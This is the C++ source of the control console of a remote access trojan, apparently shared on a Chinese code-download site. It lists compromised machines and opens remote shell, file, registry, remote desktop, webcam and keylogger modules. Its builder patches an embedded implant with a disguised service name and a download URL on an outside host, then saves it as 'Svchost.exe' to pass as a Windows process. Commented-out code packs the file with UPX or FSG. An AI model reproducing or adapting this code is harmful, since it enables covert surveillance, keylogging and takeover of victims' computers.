MyClientDlg.cpp
资源名称:Visualhk.rar [点击查看]
上传用户:cjw5120
上传日期:2022-05-11
资源大小:5032k
文件大小:23k
源码类别:
网络截获/分析
开发平台:
Visual C++
- // MyClientDlg.cpp : implementation file
- //
- #include "stdafx.h"
- #include "MyClient.h"
- #include "MyClientDlg.h"
- #include "comm.h"
- #include "TcpTran.h"
- //#include "TQQwry.h"
- #include "NL_QQwry.h"
- #include "resource.h"
- #include "ProcManageDlg.h"
- #include "ServiceManageDlg.h"
- #include "FileManageDlg.h"
- #include "RegManageDlg.h"
- #include "ShellDlg.h"
- #include "RemoteDesktopDlg.h"
- #include "VideoManage.h"
- #include "KeyLogDlg.h"
- #include <vector>
- /*
- 作者:海啸 lyyer English Name: Jack
- blog:http://lyyer.blog.sohu.com
- website:http://www.cnGSG.com
- 海啸网络安全组织
- */
- //#include "TrayIcon.h"
- #define WM_ICON_NOTIFY WM_USER+10
- #ifdef _DEBUG
- #define new DEBUG_NEW
- #undef THIS_FILE
- static char THIS_FILE[] = __FILE__;
- #endif
- CMyClientDlg *m_clientdlg = NULL;
- /////////////////////////////////////////////////////////////////////////////
- // CMyClientDlg dialog
- //////////////////////////////////////////////////////////////////////////
- //全局变量申请
- //////////////////////////////////////////////////////////////////////////
- struct MODIFY_DATA
- {
- unsigned int finder;
- TCHAR ws_svcname[32];
- TCHAR ws_svcdisplay[64];
- char ws_svcdesc[256];
- char url[256];
- int port;
- }modify_data =
- {
- 0xFFFFFF8D,
- "RemoteStorage",
- "Windows Accounts Driver",
- "Network Connections Management",
- "http://ahai2007.id666.com/user/ahai2007/disk/webdisk/lplist.txt",
- 80,
- };
- LINKINFO m_linkinfo;
- LINKINFO clientLinkinfo;
- //CString str = _T("");
- int item = 0;
- u_short u_port = 0 ;
- string str_ip ;
- char client_ip[32] = {0} ;
- static int nrItemNum = 0;
- //static SOCKET g__clientsocket;
- std::vector <TMPSOCKET *> tmp_vector;
- //////////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////////
- BOOL LoadSourceDlg(UINT resoure_id , const char * type , const char * filepath)
- {
- //获得资源指针
- HRSRC hRsrc = ::FindResource( NULL , MAKEINTRESOURCE( resoure_id ) , type );
- if( hRsrc )
- { //获得资源大小
- DWORD size = ::SizeofResource( NULL , hRsrc );
- //将资源载入内存
- HGLOBAL handle = ::LoadResource( NULL , hRsrc );
- //写入文件
- if( handle )
- { //定位资源位置
- BYTE *MemPtr = (BYTE *)LockResource( handle );
- CFile file;
- if( file.Open( filepath , CFile::modeCreate | CFile::modeWrite ) )
- {
- file.Write( MemPtr , size );
- file.Close( );
- }
- ::UnlockResource( handle );
- }
- ::FreeResource( handle );
- return TRUE;
- }
- return FALSE;
- }
- CMyClientDlg::CMyClientDlg(CWnd* pParent /*=NULL*/)
- : CDialog(CMyClientDlg::IDD, pParent)
- {
- //{{AFX_DATA_INIT(CMyClientDlg)
- // NOTE: the ClassWizard will add member initialization here
- //}}AFX_DATA_INIT
- m_clientdlg=this; //新添加的
- // Note that LoadIcon does not require a subsequent DestroyIcon in Win32
- m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
- }
- void CMyClientDlg::DoDataExchange(CDataExchange* pDX)
- {
- CDialog::DoDataExchange(pDX);
- //{{AFX_DATA_MAP(CMyClientDlg)
- DDX_Control(pDX, IDC_BUTTON_STOP, m_btn_stop);
- DDX_Control(pDX, IDC_BUTTON_START, m_btn_start);
- DDX_Control(pDX, IDC_LIST, m_list);
- //}}AFX_DATA_MAP
- }
- BEGIN_MESSAGE_MAP(CMyClientDlg, CDialog)
- ON_WM_CONTEXTMENU()
- //{{AFX_MSG_MAP(CMyClientDlg)
- ON_WM_PAINT()
- ON_WM_QUERYDRAGICON()
- ON_BN_CLICKED(IDC_BUTTON_START, OnButtonStart)
- ON_NOTIFY(NM_CLICK, IDC_LIST, OnClickList)
- ON_COMMAND(ID_MANAGE_PROCINFO, OnManageProcinfo)
- ON_BN_CLICKED(IDC_BUTTON_STOP, OnButtonStop)
- ON_COMMAND(ID_MANAGE_SERVICE, OnManageService)
- ON_COMMAND(ID_MANAGE_FILE, OnManageFile)
- ON_COMMAND(ID_MANAGE_REG, OnManageReg)
- ON_COMMAND(ID_MANAGE_SHELL, OnManageShell)
- ON_COMMAND(ID_MANAGE_CONTROL, OnManageControl)
- ON_WM_SIZE()
- ON_COMMAND(ID_MENUITE_SHOW, OnMenuiteShow)
- ON_COMMAND(ID_MENUITEM_QUIT, OnMenuitemQuit)
- ON_COMMAND(ID_MANAGE_VIDEO, OnManageVideo)
- ON_COMMAND(ID_MANAGE_KEYLOG, OnManageKeylog)
- ON_WM_CLOSE()
- ON_MESSAGE(WM_ICON_NOTIFY, OnTrayNotification)
- ON_BN_CLICKED(IDC_BUTTON3, OnMakeServer)
- //}}AFX_MSG_MAP
- END_MESSAGE_MAP()
- /////////////////////////////////////////////////////////////////////////////
- // CMyClientDlg message handlers
- BOOL CMyClientDlg::OnInitDialog()
- {
- CDialog::OnInitDialog();
- // Set the icon for this dialog. The framework does this automatically
- // when the application's main window is not a dialog
- SetIcon(m_hIcon, TRUE); // Set big icon
- SetIcon(m_hIcon, FALSE); // Set small icon
- // TODO: Add extra initialization here
- LONG lStyle = m_list.SendMessage(LVM_GETEXTENDEDLISTVIEWSTYLE);
- lStyle |= LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES | LVS_EX_HEADERDRAGDROP;
- m_list.SendMessage(LVM_SETEXTENDEDLISTVIEWSTYLE, 0,(LPARAM)lStyle);
- LV_COLUMN lvc;
- lvc.mask = LVCF_TEXT | LVCF_SUBITEM | LVCF_WIDTH /*| LVCF_FMT*/;
- m_list.InsertColumn(0,"被控端IP地址信息",LVCFMT_LEFT,120,0);
- m_list.InsertColumn(1,"计算机名",LVCFMT_LEFT,90,0);
- m_list.InsertColumn(2,"操作系统",LVCFMT_LEFT,100,0);
- m_list.InsertColumn(3,"CPU频率",LVCFMT_LEFT,80,0);
- m_list.InsertColumn(4,"内存容量",LVCFMT_LEFT,80,0);
- m_list.InsertColumn(5,"用户所在地域",LVCFMT_LEFT,100,0);
- m_list.InsertColumn(6,"软件版本",LVCFMT_LEFT,90,0);
- m_list.InsertColumn(7,"硬盘序列号",LVCFMT_LEFT,150,0);
- m_list.InsertColumn(8,"SOCKET",LVCFMT_LEFT,80,0);
- //就是取的时间 = 版本
- m_btn_stop.EnableWindow(FALSE);
- SetDlgItemText(IDC_IP,_T("192.168.0.171"));
- return TRUE; // return TRUE unless you set the focus to a control
- }
- // If you add a minimize button to your dialog, you will need the code below
- // to draw the icon. For MFC applications using the document/view model,
- // this is automatically done for you by the framework.
- void CMyClientDlg::OnPaint()
- {
- if (IsIconic())
- {
- CPaintDC dc(this); // device context for painting
- SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
- // Center icon in client rectangle
- int cxIcon = GetSystemMetrics(SM_CXICON);
- int cyIcon = GetSystemMetrics(SM_CYICON);
- CRect rect;
- GetClientRect(&rect);
- int x = (rect.Width() - cxIcon + 1) / 2;
- int y = (rect.Height() - cyIcon + 1) / 2;
- // Draw the icon
- dc.DrawIcon(x, y, m_hIcon);
- }
- else
- {
- CDialog::OnPaint();
- }
- }
- // The system calls this to obtain the cursor to display while the user drags
- // the minimized window.
- HCURSOR CMyClientDlg::OnQueryDragIcon()
- {
- return (HCURSOR) m_hIcon;
- }
- //iterator iter;
- DWORD WINAPI ServerThread(LPVOID lp)
- {
- LPLINKINFO plast_linkinfo =(LPLINKINFO)lp ;
- CTcpTran m_tcptran ;
- m_tcptran.m_Socket = plast_linkinfo->s ;
- SYSTEMINIT m_sendmsg ;
- char ReceiveBuf[sizeof(m_sendmsg)] = {0};
- int DataLen = 0;
- DataLen = m_tcptran.myrecv(m_tcptran.m_Socket,(char *)&m_sendmsg,sizeof(m_sendmsg),0,60,0,false) ;
- if (DataLen == 0)
- {
- closesocket(m_tcptran.m_Socket);
- ExitThread(0);
- }
- //////////////////////////////////////////////////////////////////////////
- // 处理重复客户端问题 //硬盘序列号
- //////////////////////////////////////////////////////////////////////////
- // 如果有不存在这个硬盘序列号则 插入
- // 如果存在这个硬盘序列号 插入的时候要找到原来的id删除然后在原来的位置插入
- //BOOL BInseart =TRUE;
- BOOL BDeleteid =FALSE;
- UINT InseartItem =0;
- for(int j = 0; j<tmp_vector.size();j++)
- {
- if (stricmp(m_sendmsg.HDSerial,tmp_vector[j]->HDSerial)==0)
- {
- //BInseart = FALSE;
- //CString str;
- for(int i=0; i<m_clientdlg->m_list.GetItemCount(); i++)
- {
- if(stricmp(m_sendmsg.HDSerial,tmp_vector[j]->HDSerial)==0 )
- {
- //str.Format(_T("选中了第%d行"), i);
- //AfxMessageBox(str);
- BDeleteid = TRUE;
- InseartItem = i;
- }
- }
- tmp_vector.erase(&tmp_vector[j]);
- }
- }
- //////////////////////////////////////////////////////////////////////////
- //if (BInseart)
- //{
- CString tmp = _T("");
- CString m_phyaddr = _T("");
- int mm = m_clientdlg->m_list.GetItemCount(); //更改来的插入顺序
- if (BDeleteid)
- {
- mm = InseartItem;
- m_clientdlg->m_list.DeleteItem(InseartItem);
- }
- tmp.Format("%s",client_ip);
- m_clientdlg->m_list.InsertItem(mm,"");
- m_clientdlg->m_list.SetItemText(mm,0,tmp);
- tmp.Format("%s",m_sendmsg.computer);
- m_clientdlg->m_list.InsertItem(mm,(const char *)1);
- m_clientdlg->m_list.SetItemText(mm,1,tmp);
- tmp.Format("%s",m_sendmsg.os);
- m_clientdlg->m_list.InsertItem(mm,(const char *)2);
- m_clientdlg->m_list.SetItemText(mm,2,tmp);
- tmp.Format("%s",m_sendmsg.processor);
- m_clientdlg->m_list.InsertItem(mm,(const char *)3);
- m_clientdlg->m_list.SetItemText(mm,3,tmp);
- tmp.Format("%s",m_sendmsg.mem);
- m_clientdlg->m_list.InsertItem(mm,(const char *)4);
- m_clientdlg->m_list.SetItemText(mm,4,tmp);
- // TQQwry m_qqwry("QQWry.Dat");
- IPwry ipinfo;
- //m_qqwry.qqwry(client_ip);
- m_phyaddr =ipinfo.IP2Add(client_ip);
- //m_phyaddr = m_qqwry.Country +" "+ m_qqwry.Local;
- tmp.Format("%s",m_sendmsg.mem);
- m_clientdlg->m_list.InsertItem(mm,(const char *)5);
- m_clientdlg->m_list.SetItemText(mm,5,m_phyaddr);
- tmp.Format("%s",m_sendmsg.version);
- m_clientdlg->m_list.InsertItem(mm,(const char *)6);
- m_clientdlg->m_list.SetItemText(mm,6,tmp);
- tmp.Format("%s",m_sendmsg.HDSerial);
- m_clientdlg->m_list.InsertItem(mm,(const char *)7);
- m_clientdlg->m_list.SetItemText(mm,7,tmp);
- tmp.Format("%d",m_tcptran.m_Socket);
- m_clientdlg->m_list.InsertItem(mm,(const char *)8);
- m_clientdlg->m_list.SetItemText(mm,8,tmp);
- TMPSOCKET *tmp00 = new TMPSOCKET;
- memset(tmp00,0,sizeof(TMPSOCKET));
- tmp00->ClientSocket = m_tcptran.m_Socket;
- //memcpy(tmp00->ClientSocket,m_tcptran.m_Socket,sizeof(SOCKET));
- lstrcpy(tmp00->HDSerial,m_sendmsg.HDSerial);
- //g__clientsocket = m_tcptran.m_Socket;
- tmp_vector.push_back(tmp00);
- //}
- //delete tmp00;
- //delete tmp;
- /*
- for(int kk=0;kk<tmp_vector.size();kk++)
- {
- CString lll;
- lll.Format("%d",tmp_vector[kk]->ClientSocket);
- AfxMessageBox(lll);
- AfxMessageBox(tmp_vector[kk]->HDSerial);
- }
- */
- return true;
- }
- CString m_clientip = _T("");
- DWORD WINAPI MyServerThread()
- {
- CTcpTran m_tcptran ;
- //SYSTEMINIT m_systeminit;
- m_tcptran.InitSocketLibray(2,2);
- SOCKET ServerSocket = m_tcptran.InitSocket(SOCKETBIND,str_ip,u_port,0);
- if (ServerSocket == SOCKET_ERROR)
- {
- closesocket(ServerSocket);
- AfxMessageBox("SOCKET_ERROR");
- return -1;
- }
- struct sockaddr_in Client_addr ;
- //204.204.204.204 未初始化 debug =0x00cd
- memset((void *)&Client_addr,0,sizeof(Client_addr));
- int addrlen = sizeof(sockaddr_in); //更改错误 不是取的地址 // 取到的指针应该 大小应该事先分配好
- SOCKET ClientSocket ;
- HANDLE hThread =NULL ;
- DWORD Threadid = 0 ;
- while(1)
- {
- ////更改错误 不是取的地址 addrlen//
- ClientSocket = m_tcptran.myaccept(ServerSocket,(struct sockaddr*)&Client_addr,&addrlen) ;
- //ClientSocket = accept(ServerSocket,(struct sockaddr*)&Client_addr,&addrlen) ;
- if(ClientSocket == SOCKET_ERROR)
- break;
- strcpy( client_ip, inet_ntoa(Client_addr.sin_addr) );
- clientLinkinfo.s = ClientSocket ;
- // 字符串予值
- //strcpy(client_ip,m_linkinfo.strBindIp.c_str());
- clientLinkinfo.BindPort = m_linkinfo.BindPort ;
- hThread = CreateThread(0,0,ServerThread,(LPVOID)&clientLinkinfo,0,&Threadid);
- }
- return 0;
- }
- void CMyClientDlg::OnButtonStart()
- {
- // TODO: Add your control notification handler code here
- //m_btn_start.EnableWindow(FALSE);
- //////////////////////////////////////////////////////////////////////////
- //变量初始化
- //////////////////////////////////////////////////////////////////////////
- CString m_ip = _T("");
- CString m_port = _T("");
- GetDlgItemText(IDC_IP,m_ip);
- GetDlgItemText(IDC_PORT,m_port);
- char *ch_ip =NULL ;
- str_ip = m_ip.GetBuffer(0);
- u_port = _ttoi(m_port);
- m_btn_start.EnableWindow(FALSE);
- m_btn_stop.EnableWindow(TRUE);
- //////////////////////////////////////////////////////////////////////////
- // 提交网络连接
- //////////////////////////////////////////////////////////////////////////
- DWORD Threadid = 0;
- HANDLE hThread = CreateThread(0,0,(LPTHREAD_START_ROUTINE)MyServerThread,NULL,0,&Threadid);
- }
- void CMyClientDlg::OnContextMenu(CWnd*, CPoint point)
- {
- // CG: This block was added by the Pop-up Menu component { if (point.x == -1 && point.y == -1){ //keystroke invocation CRect rect; GetClientRect(rect); ClientToScreen(rect); point = rect.TopLeft(); point.Offset(5, 5); } CMenu menu; VERIFY(menu.LoadMenu(CG_IDR_POPUP_MY_CLIENT_DLG)); CMenu* pPopup = menu.GetSubMenu(0); ASSERT(pPopup != NULL); CWnd* pWndPopupOwner = this; while (pWndPopupOwner->GetStyle() & WS_CHILD) pWndPopupOwner = pWndPopupOwner->GetParent(); pPopup->TrackPopupMenu(TPM_LEFTALIGN | TPM_RIGHTBUTTON, point.x, point.y, pWndPopupOwner); }
- }
- void CMyClientDlg::OnClickList(NMHDR* pNMHDR, LRESULT* pResult)
- {
- // TODO: Add your control notification handler code here
- NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR;
- if(pNMListView->iItem != -1)
- {
- /* ////////////////////////////////调试用代码 //////////////////////////
- CString strtemp;
- strtemp.Format("单击的是第%d行第%d列",pNMListView->iItem, pNMListView->iSubItem);
- AfxMessageBox(strtemp);
- strtemp.Format("%d",item);
- AfxMessageBox(strtemp);*/
- item = pNMListView->iItem;
- }
- *pResult = 0;
- }
- void CMyClientDlg::OnManageProcinfo()
- {
- // TODO: Add your command handler code here
- CProcManageDlg m_ProcManageDlg;
- //CString id;
- char tmp_HDSerial[64] = {0};
- //id =
- m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
- //AfxMessageBox(id); //test
- //id.Format("%s",tmp_HDSerial);
- for(int j = 0; j<tmp_vector.size();j++)
- {
- if (stricmp(tmp_HDSerial,tmp_vector[j]->HDSerial)==0)
- {
- m_ProcManageDlg.ClientSocket=tmp_vector[j]->ClientSocket;
- //break;
- }
- }
- m_ProcManageDlg.DoModal();
- //传输socket
- //g__clientsocket
- }
- void CMyClientDlg::OnButtonStop()
- {
- //解决客户端关闭 服务端资源cpu 100%占用 //向所有的客户端发送
- // TODO: Add your control notification handler code here
- COMMAND m_command;
- m_command.wCmd= CMD_RETRY; //CMD_NULL
- CTcpTran m_tcptran;
- //CProcManageDlg m_ProcDlg;
- CString id;
- id = m_clientdlg->m_list.GetItemText(item,7);
- //AfxMessageBox(id); //test
- char HDSerial[64] = {0};
- id.Format("%s",HDSerial);
- SOCKET mmclose;
- for(int j = 0; j<tmp_vector.size();j++)
- {
- mmclose =tmp_vector[j]->ClientSocket;
- m_tcptran.mysend(mmclose,(char *)&m_command,sizeof(COMMAND),0,60);
- shutdown(mmclose, SD_BOTH);
- Sleep(50);
- closesocket(mmclose);
- }
- m_list.DeleteAllItems();
- m_btn_start.EnableWindow(TRUE);
- m_btn_stop.EnableWindow(FALSE);
- //CDialog::OnCancel();
- }
- void CMyClientDlg::OnManageService()
- {
- // TODO: Add your command handler code here
- CServiceManageDlg m_ServiceManageDlg;
- //CString id= _T("");
- char tmp_HDSerial[64] = {0};
- //id =
- m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
- //AfxMessageBox(id); //test
- //id.Format("%s",HDSerial);
- for(int j = 0; j<tmp_vector.size();j++)
- {
- if (stricmp(tmp_HDSerial,tmp_vector[j]->HDSerial)==0)
- {
- m_ServiceManageDlg.ClientSocket=tmp_vector[j]->ClientSocket;
- //break;
- }
- }
- m_ServiceManageDlg.DoModal();
- }
- void CMyClientDlg::OnManageFile()
- {
- // TODO: Add your command handler code here
- CFileManageDlg m_filemanageDlg;
- //CString id = _T("");
- char tmp_HDSerial[64] = {0};
- //id =
- m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
- //AfxMessageBox(id); //test
- /*
- id.Format("%s",tmp_HDSerial);
- AfxMessageBox(id);*/
- for(int ppp = 0; ppp<tmp_vector.size();ppp++)
- {
- if (stricmp(tmp_HDSerial,tmp_vector[ppp]->HDSerial)==0)
- {
- m_filemanageDlg.ClientSocket=tmp_vector[ppp]->ClientSocket;
- /*
- CString ooo;
- ooo.Format("%d",tmp_vector[ppp]->ClientSocket);
- AfxMessageBox(ooo);
- //break;*/
- // 都是 break搞的鬼 问题是 逻辑错误
- }
- }
- m_filemanageDlg.DoModal();
- }
- void CMyClientDlg::OnManageReg()
- {
- CRegManageDlg m_regmanageDlg;
- char tmp_HDSerial[64] = {0};
- m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
- for(int ppp = 0; ppp<tmp_vector.size();ppp++)
- {
- if (stricmp(tmp_HDSerial,tmp_vector[ppp]->HDSerial)==0)
- {
- m_regmanageDlg.ClientSocket=tmp_vector[ppp]->ClientSocket;
- }
- }
- m_regmanageDlg.DoModal();
- }
- void CMyClientDlg::OnManageShell()
- {
- // TODO: Add your command handler code here
- CShellDlg m_shellDlg;
- char tmp_HDSerial[64] = {0};
- m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
- for(int ppp = 0; ppp<tmp_vector.size();ppp++)
- {
- if (stricmp(tmp_HDSerial,tmp_vector[ppp]->HDSerial)==0)
- {
- m_shellDlg.ClientSocket=tmp_vector[ppp]->ClientSocket;
- }
- }
- m_shellDlg.DoModal();
- }
- void CMyClientDlg::OnManageControl()
- {
- // TODO: Add your command handler code here
- CRemoteDesktopDlg m_remotedesktopDlg;
- char tmp_HDSerial[64] = {0};
- m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
- for(int ppp = 0; ppp<tmp_vector.size();ppp++)
- {
- if (stricmp(tmp_HDSerial,tmp_vector[ppp]->HDSerial)==0)
- {
- m_remotedesktopDlg.ClientSocket=tmp_vector[ppp]->ClientSocket;
- }
- }
- m_remotedesktopDlg.DoModal();
- }
- void CMyClientDlg::OnSize(UINT nType, int cx, int cy)
- {
- CDialog::OnSize(nType, cx, cy);
- // TODO: Add your message handler code here
- switch(nType)
- {
- case SIZE_MINIMIZED:
- m_TrayIcon.Create(this,WM_ICON_NOTIFY,"鼠标指向时显示",m_hIcon,IDR_MENU_TRAYICON); //构造
- ShowWindow(SW_HIDE);
- break;
- case SIZE_MAXSHOW:
- ShowWindow(SW_SHOW);
- break;
- //case
- }
- }
- void CMyClientDlg::OnMenuiteShow()
- {
- // TODO: Add your command handler code here
- ShowWindow(SW_SHOW);
- m_TrayIcon.RemoveIcon();
- }
- void CMyClientDlg::OnMenuitemQuit()
- {
- // TODO: Add your command handler code here
- m_TrayIcon.RemoveIcon();
- OnCancel();
- }
- LRESULT CMyClientDlg::OnTrayNotification(WPARAM wParam, LPARAM lParam)
- {
- return m_TrayIcon.OnTrayNotification(wParam,lParam);
- }
- void CMyClientDlg::OnManageVideo()
- {
- // TODO: Add your command handler code here
- CVideoManage m_videomanageDlg;
- char tmp_HDSerial[64] = {0};
- m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
- for(int ppp = 0; ppp<tmp_vector.size();ppp++)
- {
- if (stricmp(tmp_HDSerial,tmp_vector[ppp]->HDSerial)==0)
- {
- m_videomanageDlg.ClientSocket=tmp_vector[ppp]->ClientSocket;
- }
- }
- m_videomanageDlg.DoModal();
- }
- void CMyClientDlg::OnManageKeylog()
- {
- // TODO: Add your command handler code here
- CKeyLogDlg m_KeylogDlg;
- char tmp_HDSerial[64] = {0};
- m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
- for(int ppp = 0; ppp<tmp_vector.size();ppp++)
- {
- if (stricmp(tmp_HDSerial,tmp_vector[ppp]->HDSerial)==0)
- {
- m_KeylogDlg.ClientSocket=tmp_vector[ppp]->ClientSocket;
- }
- }
- m_KeylogDlg.DoModal();
- }
- void CMyClientDlg::OnClose()
- {
- // TODO: Add your message handler code here and/or call default
- this->OnButtonStop();
- CDialog::OnClose();
- }
- BOOL CMyClientDlg::DestroyWindow()
- {
- // TODO: Add your specialized code here and/or call the base class
- this->OnButtonStop();
- return CDialog::DestroyWindow();
- }
- void CMyClientDlg::OnMakeServer()
- {
- // TODO: Add your control notification handler code here
- //////////////////////////////////////////////////////////////////////////
- CString dl_list=_T("http://ahai2007.id666.com/user/ahai2007/disk/webdisk/lplist.txt");
- //IDC_EDIT_DOWNLOADLIST
- GetDlgItemText(IDC_EDIT_DOWNLOADLIST,dl_list);
- strcpy(modify_data.url,(char *)(LPCSTR)dl_list);
- //////////////////////////////////////////////////////////////////////////
- char ServerPath[MAX_PATH];
- //char RealSkinPath[MAX_PATH];
- GetCurrentDirectory(MAX_PATH,ServerPath);
- strcat(ServerPath,"\Config.dat"); //Royale.ssk
- LoadSourceDlg(IDR_CLIENT,"CLIENT",ServerPath);
- CFile oldfile;
- if (!oldfile.Open(ServerPath,CFile::modeRead | CFile::typeBinary))
- return;
- DWORD oldfilesize = oldfile.GetLength();
- BYTE *buf = (BYTE *)malloc(oldfile.GetLength());
- memset(buf,0,oldfile.GetLength());
- oldfile.Read(buf,oldfile.GetLength());
- oldfile.Close();
- unsigned int finder;
- unsigned int i, k;
- finder = 0xFFFFFF8D;
- for (i = 0; i < oldfilesize - sizeof(finder); i += sizeof(finder))
- {
- for (k = 0; k < sizeof(finder); k++)
- {
- if (buf[i+k] != ((BYTE*)&finder)[k])
- break;
- }
- if (k == sizeof(finder))
- {
- memcpy(buf+ i, &modify_data, sizeof(modify_data));
- break;
- }
- }
- if (i >= oldfilesize - sizeof(finder))
- {
- free(buf);
- MessageBox("写入信息到文件中,不能定位自身文件而出错!","错误");
- return;
- }
- CFile newfile;
- newfile.Open("Svchost.exe",CFile::modeCreate | CFile::modeReadWrite | CFile::typeBinary);
- newfile.Write(buf,oldfilesize);
- free(buf);
- newfile.Close();
- //////////////////////////////////////////////////////////////////////////
- /*
- char LocalPath[MAX_PATH];
- GetCurrentDirectory(MAX_PATH,LocalPath);
- strcat(LocalPath,"\Svchost.exe");
- char UpxPath[MAX_PATH];
- strcpy(UpxPath,"upx.exe");
- LoadSourceDlg(IDR_UPX,"UPX",UpxPath);
- strcat(UpxPath," -7 ");
- strcat(UpxPath,LocalPath);
- PROCESS_INFORMATION PI;
- STARTUPINFO SI;
- memset(&SI, 0, sizeof(SI));
- SI.cb = sizeof(SI);
- SI.dwFlags =STARTF_USESHOWWINDOW;
- SI.wShowWindow = SW_HIDE;
- CreateProcess(NULL, UpxPath, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI);
- WaitForSingleObject(PI.hProcess,INFINITE);
- DeleteFile("upx.exe");
- */
- MessageBox("新建服务端成功!","成功");
- //////////////////////////////////////////////////////////////////////////
- /*
- char LocalPath[MAX_PATH];
- GetCurrentDirectory(MAX_PATH,LocalPath);
- strcat(LocalPath,"\Svchost.exe");
- char FSGPath[MAX_PATH]={0};
- GetCurrentDirectory(MAX_PATH,FSGPath);
- strcat(FSGPath,"\fsg.exe");
- LoadSourceDlg(IDR_FSG,"FSG",FSGPath);
- strcat(FSGPath," ");
- char fsgini[MAX_PATH];
- GetCurrentDirectory(MAX_PATH,fsgini);
- strcat(fsgini,"\fsg.ini");
- LoadSourceDlg(IDR_FSG_INI,"FSG",fsgini);
- /*
- //strcat(UpxPath," ");
- strcat(FSGPath,"Svchost.exe"); //LocalPath
- PROCESS_INFORMATION PI;
- STARTUPINFO SI;
- memset(&SI, 0, sizeof(SI));
- SI.cb = sizeof(SI);
- SI.dwFlags =STARTF_USESHOWWINDOW;
- SI.wShowWindow = SW_HIDE;
- CreateProcess(NULL, FSGPath, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI);
- //WaitForSingleObject(PI.hProcess,INFINITE);
- //DeleteFile("fsg.exe");
- //DeleteFile("fsg.ini");
- //
- */
- }